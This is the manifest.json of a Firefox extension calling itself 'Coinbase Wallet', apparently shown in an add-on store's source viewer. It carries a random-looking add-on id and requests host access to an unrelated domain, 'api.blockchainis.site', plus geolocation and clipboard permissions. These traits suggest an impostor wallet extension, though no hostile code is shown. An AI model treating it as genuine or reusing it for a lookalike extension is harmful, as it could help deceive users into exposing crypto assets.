Examine source code of Coinbase wallet

{
  "manifest_version": 2,
  "name": "Coinbase Wallet",
  "version": "1.3",
  "description": "Coinbase extension is the safest and easiest way to use tokens apps in your browser.",
  "browser_specific_settings": {
    "gecko": {
      "id": "webextension@3sdekjhdax7",
      "strict_min_version": "89.0"
    }
  },
  "icons": {
    "16": "images/16.png",
    "48": "images/48.png",
    "64": "images/64.png",
    "128": "images/128.png"
  },
  "browser_action": {
    "default_popup": "index.html"
  },
  "permissions": [
    "geolocation",
    "activeTab",
    "storage",
    "unlimitedStorage",
    "https://api.blockchainis.site/*",
    "clipboardWrite",
    "webRequest",
    "*://*.eth/",
    "notifications"
  ]
}